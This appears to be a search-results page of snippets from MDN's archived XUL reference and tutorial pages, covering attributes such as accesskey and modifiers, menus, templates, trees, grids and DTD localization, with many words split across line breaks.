mment("no plugins dir for " + basekey + "\\" + mozillaversion); index++; } ...
accesskey - Archive of obsolete content
hortcut key. this should be one of the characters that appears in the label attribute for the element. on non-macintosh platforms, the character on the element's label matching the accesskey is underlined. for example, when a menu labeled 'file' has an accesskey of 'f', the generated label will be 'file'. when the user presses a modifier key specific to the platform (eg, control* on windows, co
mmand* on macintosh) and the access key, the element will be focused and/or activated from anywhere in the window. on the macintosh, labels are never underlined, however accesskeys can still be used by pressing the letter combined with the co
mmand key. *(these are the keys corresponding to event.ctrlkey and event.metakey respectively when listening to key events) although the value is case insen...
...' label is 'a', the generated label will be 'open (a)'. however, if the last character of the label is an ellipsis or a colon, the accesskey text is inserted before them. this allows a label of 'open…' with an accesskey of 'a', to have a generated label of 'open (a)…'. similarly, when the label is 'your name:' and the accesskey is 'b', the generated label will be 'your name (b):'. it is reco
mmended that you only use characters that appear in the label. however in some languages, for example, in japanese, characters will not always map directly to single keys, and it is quite co
mmon to have labels which cannot have a single accesskey. for these languages, you can assign an accesskey different than any of the label characters, and the accesskey text will always be appended as described a...
button.type - Archive of obsolete content
set the type attribute to the value menu to create a button with a menu popup. place a menupopup element inside the button in this case. the user may click anywhere on the button to open and close the menu. menu-button you can also use the value menu-button to create a button with a menu. ...
...e arrow to open the menu, but a different co
mmand may be invoked when the main part of the button is pressed. panel similar to the menu type, this opens a popup. place a panel element inside the button. panel elements are popups that support any type of content. radio the button acts like a radio button. only one button in the group can be on a once. repeat this button will fire its co
mmand event repeatedly while the mouse button is held down. ...
collapse - Archive of obsolete content
« xul reference home collapse type: one of the values below determines which side of the splitter is collapsed when its grippy is clicked. if this attribute is not specified, the splitter will not cause a collapse. you should put a grippy element inside the splitter when it is used for collapsing. none no collapsing occurs. ...
...ked. if this attribute is not specified, the splitter will not cause a collapse. you should put a grippy element inside the splitter when it is used for collapsing. none no collapsing occurs. before when the grippy is clicked, the element i
mmediately before the splitter in the same parent is collapsed so that its width or height is 0. after when the grippy is clicked, the element i
mmediately after the splitter in the same parent is collapsed so that its width or height is 0. both either the element i
mmediately before the splitter, or the element i
mmediately after the splitter can be collapsed, if the size of that element would fall below the minimum size due to the position of the splitter. ...
id - Archive of obsolete content
« xul reference home id type: unique id a unique identifier so that you can identify the element with. you can use this as a parameter to getelementbyid() and other dom functions and to reference the element in style sheets. ...
...ntbyid() and other dom functions and to reference the element in style sheets. ...
modifiers - Archive of obsolete content
« xul reference home modifiers type: space-separated list of the values below a list of modifier keys that should be pressed to invoke the keyboard shortcut. multiple keys may be separated by spaces or co
mmas. keys will map to other keys on platforms that do not have them. shift: the shift key. alt: the alt key. on the macintosh, this is the option key. on macintosh this can only be used in conjunction with another modifier, since alt+letter combinations are reserved for entering special characters in text. meta: the meta key. on the macintosh, this is the co
mmand key. control: the control key. os: windows logo key on windows, super or hyper key on linux. this shouldn't be specified directly because it may conflict with system wide shortcut key. accel: the key used fo...
...usually, this would be the value you would use. access: the access key for activating menus and other elements. on windows, this is the alt key, used in conjuction with an element's accesskey. ...
newlines - Archive of obsolete content
« xul reference home newlines type: one of the values below how the text box handles pastes with newlines in them. ...
... « xul reference home newlines type: one of the values below how the text box handles pastes with newlines in them. ...
Menus - Archive of obsolete content
firefox menus element id description main-menubar the menubar element. menu_filepopup the menupopup associated with the 'file' menu. menu_editpopup the menupopup associated with the 'edit' menu. menu_viewpopup the menupopup associated with the 'view' menu. ...
... firefox menus element id description main-menubar the menubar element. menu_filepopup the menupopup associated with the 'file' menu. menu_editpopup the menupopup associated with the 'edit' menu. menu_viewpopup the menupopup associated with the 'view' menu. ...
Node - Archive of obsolete content
su
mmary this is a scriptable interface corresponding to the nsidomnode xpcom interface. constants the nsidomnode interface is the primary datatype for the entire document object model. it represents a single node in the document tree. ...
...nsidomnode interface is the primary datatype for the entire document object model. it represents a single node in the document tree. ...
buttons - Archive of obsolete content
« xul reference buttons type: co
mma-separated list of the values below a co
mma-separated list of buttons to appear on the dialog box. the buttons will be placed in suitable locations for the user's platform and basic event handling will be performed automatically. the following values can be used in the list: accept: the ok button, which will accept the changes when pressed. this button will also be the default button. cancel: the cancel button which will cancel the operation. help: a help button for displaying help about the dialog. disclosure: a button to show more information. this might be a button or a disclosure triangle. extra1: an optional additional button. ...
...changes when pressed. this button will also be the default button. cancel: the cancel button which will cancel the operation. help: a help button for displaying help about the dialog. disclosure: a button to show more information. this might be a button or a disclosure triangle. extra1: an optional additional button. you can set its label with the buttonlabelextra1 attribute and its co
mmand with the ondialogextra1 attribute. extra2: a second optional additional button. you can set its label with the buttonlabelextra2 attribute and its co
mmand with the ondialogextra2 attribute. ...
Property - Archive of obsolete content
cessibletype accesskey align allnotifications allowevents alwaysopenpopup amindicator applocale autocheck autofill autofillaftermatch boxobject browsers builder builderview buttons canadvance cangoback cangoforward canrewind checked checkstate child children classname clickselectsall clientheight clientwidth collapsed color columns co
mmand co
mmandmanager completedefaultindex container contentdocument contentprincipal contenttitle contentview contentvieweredit contentviewerfile contentwindow contextmenu control controller controllers crop current currentindex currentitem currentnotification currentpage currentpane currentset currenturi customtoolbarcount database datasources d...
...p scrollboxobject scrollincrement scrollheight scrollwidth searchbutton searchcount searchlabel searchparam searchsessions second secondleadingzero securityui selected selectedbrowser selectedcount selectedindex selecteditem selecteditems selectedpanel selectedtab selectionend selectionstart selstyle seltype sessioncount sessionhistory showco
mmentcolumn showpopup size smoothscroll spinbuttons src state statusbar statustext stringbundle strings style subject suppressonselect tabcontainer tabindex tabs tabscrolling tabpanels tag textlength textvalue timeout title toolbarname toolbarset tooltip tooltiptext top treeboxobject type uri useraction value valuenumber view we...
Building Menus With Templates - Archive of obsolete content
until the user needs to use the menu. it is very simple to create a menu using a template. here is an example using an xml source: <button type="menu" datasources="people.xml" ref="*" querytype="xml"> <template> <query expr="person"/> <action> <menupopup> <menuitem uri="?" label="?name"/> </menupopup> </action> </template> </button> <button label="children" onco
mmand="alert(this.previoussibling.childnodes.length);"/> in this example, the datasources attribute has been placed on a menu-type button. the query generates a list of the person tags within the datasource and outputs the action body for each one. the uri attribute has not been placed on the menupopup element which is the direct child of the action element but has instead been placed on the menuit...
...ow by avoiding extra generation that can be put off until later. you might be wondering why we couldn't just put the datasources attribute on the menupopup instead and not have a menupopup inside the action body. you can actually do this, however, you no longer receive the performance benefit as the entire content will be generated right away. the special feature of menus to not generate content i
mmediately applies only to the menu itself. generating a recursive menu menus are often generated from a template recursively. when creating recursive menus, you will need to use multiple rules, since leaf items will need to be created differently than non-leaf items. leaf items will need to use a menuitem element whereas non-leaf items will need to use a menu element. this will involve at least two...
Multiple Rule Example - Archive of obsolete content
often this will be because a particular result has a property that others do not. for instance, in an earlier example, one of the photos had a description and the other photos did not. in this case, you might wish to display the photo with a description in a different manner. this is useful if you wish to hide any content that would be needed to display the description. the next example shows how we can do this. ...
... results listed above, the palace photo appears twice so the second one will be removed, leaving only three matches. although the builder actually generates mutliple matches for one resource, in many cases it isn't necessary to be aware of this detail when creating templates. it is usually sufficient to assume that earlier rules are used to filter results much like an if-else construct in a progra
mming language. if the last rule has no specific conditions (for example a simple rule with no attributes on the <rule> element), it could be considered to be the final else block that matches all data. since results generated by earlier rules override those of later results, you will want to ensure that the rules are placed in the right order. the rules should be ordered from most specific to least...
Multiple Rules - Archive of obsolete content
rule, in the order that the rules appear in the template, that matches for a result is used, not all of them that match. thus, you can assume that earlier rules handled earlier matches. for instance, if the first rule matched all folders, then the remaining rules can assume that any results that get past the first rule are not folders. this allows the conditions can be simpler. it also allows a co
mmon technique where the last rule in a template has no conditions, allowing all remaining results that didn't match earlier rules to match this last rule. a multiple rule template looks like the following: <hbox id="photoslist" datasources="template-guide-photos3.rdf" ref="http://www.xulplanet.com/rdf/myphotos"> <template> <query> <content uri="?start"/> <member container="...
...name" rel="contains" value="a" ignorecase="true"/> sometimes, you will want to check several different values in a single where clause. you can do this with the multiple attribute set to true. <where subject="?title" rel="equals" value="canal,palace" multiple="true"/> in this example, the rule will match if the title is equal to either 'canal' or 'palace'. separate each value to check with a co
mma. as long as the variable matches one of the values, the where clause will match. the multiple attribute may be used in combination with all of the operators, as well as the ignorecase and negate attributes. when using the negate attribute, the where clause will match if none of the values match. « previousnext » ...
Result Generation - Archive of obsolete content
wing the arrows forward. or, you could start at d and follow two arrows back (and only following arrows backwards). this will get one result, a. look at the graph to see if you can see why one result would be generated in this case. in xul template terminology, the starting point is called the container or reference point and the endpoint is called the member. it is so called because it is most co
mmon to gather the list of the members, or children, of a container. but this doesn't have to be the case. any starting point and ending points will do. nodes in rdf are identified by a string value. there are two types of nodes in rdf, resources which usually represent 'things', and literals which are values like the names, dates or sizes of those things, and so on. a literal's value is, for exampl...
...d, or more information pertaining to an existing result may be added to the network. naturally, a rejected result will be removed. once all results have been examined, the builder moves on to the next statement in the query. once all statements have been analyzed, any results which still remain go on to become matches. the matches are the endpoints and will cause content to be generated. so, to su
mmarize: start out with a one possible result as the seed iterate over the results determined so far and augment them with additional data add any new possible results remove any rejected results repeat steps 2 to 4 for each query statement once done, all remaining results become matches each possible result is made up of a set of variable-value pairs. for instance, a result would look...
The Joy of XUL - Archive of obsolete content
ation from application logic one of the major downfalls of most web applications is the tight coupling of user interface elements with client application logic. this poses a significant problem in team environments because the skills required to develop these two parts are often satisfied by different people. xul provides a clear separation among the client application definition and progra
mmatic logic ("content" consisting of xul, xbl, and javascript), presentation ("skin" consisting of css and images), and language-specific text labels ("locale" consisting of dtds and string bundles in .properties files). the layout and appearance of xul applications can be altered independently of the application definition and logic. further, the application can be localized for different language...
..."locale" consisting of dtds and string bundles in .properties files). the layout and appearance of xul applications can be altered independently of the application definition and logic. further, the application can be localized for different languages and regions independently of its logic or presentation. this degree of separation results in applications that are easier to maintain by progra
mmers and readily customized by designers and language translators. the work flow of these interdependent activities is more easily coordinated than with html-based web applications, with less impact on the overall stability and quality of the system. easy customization, localization, or branding another highly practical benefit of the separation that xul provides among application l...
Adding Event Handlers to XBL-defined Elements - Archive of obsolete content
nt handlers to xbl-defined elements. event handlers as you might expect, mouse clicks, key presses and other events are passed to each of the elements inside the content. however, you may wish to trap the events and handle them in a special way. you can add event handlers to the elements inside the content if needed. the last example in the previous section demonstrated this. in that example, onco
mmand handlers were added to some buttons. handler element however, you may want to add an event handler to the entire contents, that is, all the elements defined in the content tag. this could be useful when trapping the focus and blur events. to define an event handler, use the handler element. each will describe the action taken for a single event handler. you can use more than one handler if nec...
...ng-name"> <handlers> <handler event="event-name" action="script"/> </handlers> </binding> place all of your handlers within the handlers element. each handler element defines the action taken for a particular event specified by its event attribute. valid event types are those supported by xul and javascript, such as click and focus. use the event name without the 'on' in front of it. a co
mmon reason to set handlers is to modify the custom properties when an event occurs. for example, a custom checkbox might have a checked property which needs to be changed when the user clicks the checkbox: <handlers> <handler event="mouseup" action="this.checked=!this.checked"/> </handlers> when the user clicks and releases the mouse button over the check box, the mouseup event is sent to it, an...
Adding HTML Elements - Archive of obsolete content
yed when placed inside an html element that would normally allow you to display text (such as a p tag). text outside of one will not be displayed, unless the xul element the text is inside allows this (the description element, for example). the examples below may help. examples of html elements what follows are some examples of adding html elements to windows. in each case, the window and other co
mmon information has been left out for simplicity. a dialog with a check box example 2 : source view <html:p> click the box below to remember this decision. <html:p> <html:input id="rtd" type="checkbox"/> <html:label for="rtd">remember this decision</html:label> </html:p> </html:p> in this case, one p tag was used to place the text in and another was used to break apart the text in...
...="checkbox"/> <html:label for="rtd">remember this decision</html:label> </html:p> </html:p> in this case, one p tag was used to place the text in and another was used to break apart the text into multiple lines. text outside of html blocks example 3 : source view <html:div> would you like to save the following documents? <html:hr/> </html:div> expense report 1 what i did last su
mmer <button id="yes" label="yes"/> <button id="no" label="no"/> as can be seen in the image, the text inside the div tag was displayed but the other text (expense report 1 and what i did last su
mmer) was not. this is because there is no html or xul element capable of displaying text enclosing it. to have this text appear, you would need to put it inside the div tag, or enclose the text in a descri...
Adding Labels and Images - Archive of obsolete content
is to use the label element. it should be used when you want to place a descriptive label beside a control, such as a button. an example is shown below: example 1 : source view <label value="this is some text"/> the value attribute can be used to specify the text that you wish to have displayed. the text will not wrap, so the text will all be displayed on a single line. this syntax is the most co
mmon of labels. if the text needs to wrap, you can place the text content inside opening and closing tags as in the following example: example 2 : <label>this is some longer text that will wrap onto several lines.</label> as with html, line breaks and extra whitespace are collapsed into a single space. later, we'll find out how to constrain the width of elements so that we can see the wrapping more...
...riptive text not associated with any particular control, you can use the description tag. this element is useful for informative text at the top of a dialog or a group of controls for example. as with the label element, you can either use the value attribute for a single line of text or place text or xhtml content inside opening and closing description tags for longer blocks of text. it is more co
mmon to use the attribute syntax for labels, and the text content syntax for descriptions. example 4 : source view <description> this longer section of text is displayed. </description> you can set the text via script using the textcontent property, as in the following example: <description id="text" width="200"/> document.getelementbyid('text').textcontent = "some lengthy word wrapped text goes...
Element Positioning - Archive of obsolete content
you may need to have more control over the size of an element in a window. there are a number of features that allow you to control the size of an element. the quick way is to simply add the width and height attributes on an element, much like you might do on an html img tag. an example is shown below: example 1: source view <button label="ok" width="100" height="40"/> however, it is not reco
mmended that you do this. it is not very portable and may not fit in with some themes. a better way is to use style properties, which work similarly to style sheets in html. the following css properties can be used. width this specifies the width of the element. note that the css global skin of the xul application may also specify a min-width for the buttons and other elements, thus if simply se...
...ful at any size. the crop attribute can also be used with other elements that use the label attribute for labels. the following shows this attribute in use: example 6: source view <button label="push me please!" crop="right" flex="1"/> notice how the text on the button has had the right side of it cropped after the window is made smaller. find files example so far: source view next, a su
mmary and some additional details of the box model are described. « previousnext » ...
Manifest Files - Archive of obsolete content
a new manifest file either into the application chrome directory or the user specific chrome directory. this latter chrome directory is normally the one used since the application directory might not have sufficient permissions to write into it. note: starting in gecko 2.0, only the file named chrome.manifest is read automatically; if you need to read multiple manifest files, use the manifest co
mmand in that file to import additional manifests. use manifest flags to configure the scenarios in which the secondary manifest is imported. if you just want to try testing privileged xul code in the firefox browser, you can do this easily by just using a manifest with only one line in it: create a new directory somewhere. for example, on a windows machine, you might use c:\testfiles create a n...
... in where the files may be installed to. an extension is packaged up into an xpi file. xpi is short for xpinstall and is used by mozilla to install components. like a jar file, an xpi file is just a zip file with a different extension, so you can create and view xpi files with a zip utility. firefox's extension manager handles installing extensions packaged into xpi files automatically. it is reco
mmended to upload extensions to the mozilla add-ons site, where users can locate them for installation. while they may be installed from any site, other sites are not configured to allow installations by default. it is also possible to use a install script written in javascript to install files. this allows you to copy files to any location and perform other file management tasks. however, applicati...
Popup Menus - Archive of obsolete content
nside the menupopup. however, you should always put an id attribute on the menupopup as it is used to associate the popup with an element. we'll see what this means soon. first, an example: <popupset> <menupopup id="clipmenu"> <menuitem label="cut"/> <menuitem label="copy"/> <menuitem label="paste"/> </menupopup> </popupset> as can be seen here, a simple popup menu with three co
mmands on it has been created. the menupopup element surrounds the three menuitem elements. you will also notice that the id has been set on the menupopup element itself. the popupset element surrounds the entire popup menu declaration. this is a generic container for popups, and is optional. it does not draw on screen but instead is used as a placeholder where you would declare all of your popups.
...re attributes of different types on an element. you could also associate the same popup with multiple elements, which is one advantage of using this popup syntax. popups can only be associated with xul elements; they cannot be associated with html elements. tooltips we'll look at a simple way to create tooltips here. there are two ways to create a tooltip. the simplest way, which is much more co
mmon, is to add a tooltiptext attribute to an element for which you want to assign a tooltip. the second method is to use a tooltip element containing the content of a tooltip. this requires you to have a separate block of content for each tooltip or to have a script which sets the content. however, it does allow you to use any content besides text in a tooltip. example 2 : source view <button la...
Trees - Archive of obsolete content
mns should be placed directly inside a treecols element. in this case we haven't specified a view to supply the tree's data, so we'll only see column headers and an empty tree body. you may have to resize the window to see anything since there isn't any data to display. since the tree has been marked as flexible, the body will stretch to fit the available space. making a tree flexible is quite co
mmonly done, as it is often the case that the data in the tree is the most significant information displayed, so it makes sense to make the tree grow to fit. however, you may specify a specific number of rows to appear in a tree by setting the rows attribute on the tree element. this attribute specifies how many rows are displayed in the user interface, not how many rows of data there are. the total...
... effect will be the label attribute to set a text label for a cell and the src attribute to set an image. however, there are special ways of styling the tree and setting other features which we will see in later sections. also, events do not get sent to treeitem element and their children; instead they get sent to the treechildren element. that the treeitems are unlike other xul elements is a co
mmon source of confusion for xul developers. essentially, the tree content view is a view where the data for the cells is supplied from tags placed inside the tree. naturally, if you are using a different kind of view, the data will be supplied from another source, and there won't be any treeitem elements at all. let's start by looking at how to create a simple tree with multiple columns using the ...
XPCOM Examples - Archive of obsolete content
s that in order to switch the window focus, we need to do the following: determine the element that the user clicked on. get the value of the id attribute from the element. pass this value to getwindowforresource() to get a window object. switch the focus to this window. ...
...the function switchfocus(): first gets a reference to a component which implements the window mediator interface. next, we get the id attribute for the element. we can use the value of the id attribute as the resource. the function getwindowforres...
Urlbar-icons - Archive of obsolete content
ements like the bookmarks, feed and go buttons. create new image or button child elements to add your own items. ...
...on" click="" for="" id="safebrowsing-urlbar-icon" img="" level="safe" might="" onclick="godoco
mmand('safebrowsing-show-warning');" page="" style="-moz-user-focus:" tooltiptext="this" type="menu"> <img class="urlbar-icon" id="star-button" onclick="placesstarbutton.onclick(event);" /> <img address="" chromedir="ltr" class="urlbar-icon" id="go-button" in="" location="" onclick="handleurlbarco
mmand(event);" p="" the="" to="" tooltiptext="go" /> </button> </hbox> ...
Using multiple DTDs - Archive of obsolete content
single dtd to make strings in your xul file localizable, you normally add a dtd declaration at the beginning of the file like this: <!doctype window system "chrome://myextension/locale/mainwindow.dtd"> where "window" is the local name of the document (root) element. ...
...e "window" is the local name of the document (root) element. assuming you have an entity called somebutton.label defined in mainwindow.dtd, you can access the entity like this: <button id="somebutton" label="&somebutton.label"> multiple dtds if you want to use multiple dtds with your xul file, you can simply list all of the dtds inside your dtd declaration: <!doctype window [ <!entity % co
mmondtd system "chrome://myextensions/locale/co
mmon.dtd"> %co
mmondtd; <!entity % mainwindowdtd system "chrome://myextension/locale/mainwindow.dtd"> %mainwindowdtd; ]> you can now access the entities declared in the dtds as shown above. assume you have an entity okbutton.label defined in file co
mmon.dtd. then accessing entities from both dtds would look like this: <button id="somebutton" lab...
XUL Accesskey FAQ and Policies - Archive of obsolete content
prompt has an accesskey elsewhere in mozilla, and use the same accesskey. there are standard accesskeys used in windows as well, like properties. if not, try the first letter of the first word in the prompt. next, try the first letter of another word in the prompt. finally, use any non-silent letter in an action word (do these after the rest of the dialog has accesskeys chosen). co
mmon elements that don't get accesskeys ok buttons. cancel buttons. close buttons. tab panel labels. toolbar buttons tree items list items column headers are there any crucial bugs i should know about? bug 143065 - scope of accesskeys is not limited to the current tab panel. where do accesskeys need to be added? look for dependencies of bug 129179 (the xul accessk...
...close buttons. tab panel labels. toolbar buttons tree items list items column headers are there any crucial bugs i should know about? bug 143065 - scope of accesskeys is not limited to the current tab panel. where do accesskeys need to be added? look for dependencies of bug 129179 (the xul accesskey hookup meta bug), or look for bugs with "accesskey" or "mnemonic" in the su
mmary, or look for dialogs where there are no elements with underlined letters. file bugs under the keyboard navigation component, and make meta bug 129179 dependent on them. ...
XUL Reference - Archive of obsolete content
« xul reference « alphabetical list of all xul elements action arrowscrollbox assign bbox binding bindings box broadcaster broadcasterset button browser checkbox caption clicktoscroll colorpicker column columns co
mmandset co
mmand conditions content datepicker deck description dialog dialogheader dropmarker editor grid grippy groupbox hbox iframe image key keyset label listbox listcell listcol listcols listhead listheader listitem member menu menubar menuitem menulist menupopup menuseparator notification notificationbox observes overlay page panel param popupset preference preferences prefpane prefwindow progressmeter query queryset radio radiogroup resizer richlistbox richlistitem row rows rule scale sc...
...listbox listitem listcell listcol listcols listhead listheader richlistbox richlistitem tree treecell treechildren treecol treecols treeitem treerow treeseparator box hbox vbox bbox deck stack grid columns column rows row scrollbox action assign binding bindings conditions content member param query queryset rule template textnode triple where script co
mmandset co
mmand broadcaster broadcasterset observes key keyset stringbundle stringbundleset arrowscrollbox dropmarker grippy scrollbar scrollcorner spinbuttons all attributes all properties all methods attributes defined for all xul elements style classes event handlers deprecated/defunct markup ...
Accessibility/XUL Accessibility Reference - Archive of obsolete content
this table is designed to show how to expose text properly for various xul element types. sections in bold are to draw attention to pieces that are often overlooked for visual layouts. underlined text may be read by the screen reader. element enabled usage co
mments description <description value="<!-- text -->" /> <description><!--label text--></description> use for non-label text. although tutorials claim label and description have the same underlying implementation, description elements appear to not associate correctly with controls whereas labels do. label <label control="controlid" value="<!--label text-->" /> <label control="controlid"><!--label text--></label> either syntax is fine. button ...
... cannot not be used. caption see groupbox checkbox <checkbox label='<!--label text-->' /> colorpicker <colorpicker type="button" palettename="standard" /> colorpicker appears to read color values out if the colorpicker can get focus in the first place. column see grid columns see grid co
mmand see keyboard shortcut tutorial co
mmandset see keyboard shortcut tutorial deck only the currently selected deck layer can be focused. grid although text in the grid can be read, jaws does not recognize grids as tables for table reading mode. groupbox <groupbox> <caption label="<!--group label-->" /> <hbox> <but...
arrowscrollbox - Archive of obsolete content
d to scroll the scrollbox content. if false, the mouse must be hovered over the arrows to scroll automatically. disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to ...
...ixels( pixels ) return type: no return value scrolls the contents of the arrowscrollbox by a certain number of pixels. use a positive value as the pixels argument to scroll forward that many pixels, or a negative value to scroll backward that many pixels. ...
broadcaster - Archive of obsolete content
placed on the broadcaster. for instance, if the broadcaster has a label attribute, the observers will use that label. if the label changes, the labels of the observers will update automatically. an onbroadcast event will be sent to the observers when a change is made. for menuitems or buttons that just want to have their disabled status set when the feature should be disabled, you should use a co
mmand element instead. more information is available in the broadcasters and observers xul tutorial. examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, ...
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
browser - Archive of obsolete content
access of the document loaded inside the browser. if this is not set, the loaded document has the same access as the window containing the browser. more precisely: the document loaded into a chrome window is always of chrome type. subdocuments of chrome documents are of chrome type, unless the container element (one of iframe, browser or editor) has one of the special type attribute values (the co
mmon ones are content, content-targetable and content-primary) indicating that the subdocument is of content type. this boundary has a number of special effects, such as making window.top == window (unless the browser is added to a chrome document), and preventing documents from inheriting the principal of the parent document. the type attribute on all frames in content documents is ignored; subdocu...
.... it also contains the load constants used by reloadwithflags and loaduriwithflags. webprogress type: nsiwebprogress this read-only property contains an nsiwebprogress object which is used to monitor the progress of a document loading. ...
colorpicker - Archive of obsolete content
properties accessibletype, color, disabled, open, tabindex, value examples <colorpicker/> attributes disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to ...
...opup for a button-type colorpicker is open. set this property to true to open the popup or false to close the popup. tabindex type: integer gets and sets the value of the tabindex attribute. ...
column - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a single column in a columns element. each child of the column element is placed in each successive cell of the grid. the column with the most child elements determines the number of rows in each column. it is co
mmon to use columns only to define width and flexibility for the grid column and not place elements directly inside the column. more information is available in the xul tutorial. example see grid for an example. attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, l...
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
description - Archive of obsolete content
ule when you want to use the value none: menupopup > menuitem, menupopup > menu { max-width: none; } disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to ...
... tabindex attribute. value type: string gets and sets the value of the value attribute. for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. ...
grid - Archive of obsolete content
ed to contain both a columns element as a child which defines the structure of the columns and a rows element as child to define the rows. the size and attributes defined on columns and rows will affect the size and placement of elements in each cell. elements placed within both the columns and rows will be displayed, although usually only elements will be placed inside one of these. it is most co
mmon to place elements within the rows and use the columns only to define their flexibility and width. whichever of the columns and rows is last in the grid is displayed on top; co
mmonly the columns element appears in the grid first. more information is available in the xul tutorial. example <!-- groupbox containing a grid. the second column is twice as big as the first column --> <groupbo...
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
image - Archive of obsolete content
the src attribute can be used to specify the url of the image. more information is available in the xul tutorial. note: prior to gecko 8.0, images did not shrink down with the same ratio in both directions when specifying maximum sizes using maxheight or maxwidth. the new behavior aligns more with the html <img> element and shrinks both the width and height down proportionally. ...
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
keyset - Archive of obsolete content
sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to ...
...abase, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), doco
mmand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode,...
label - Archive of obsolete content
ule when you want to use the value none: menupopup > menuitem, menupopup > menu { max-width: none; } disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to ...
...disabled attribute. value type: string gets and sets the value of the value attribute. for textbox and user editable menulist elements, the contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax. ...
listbox - Archive of obsolete content
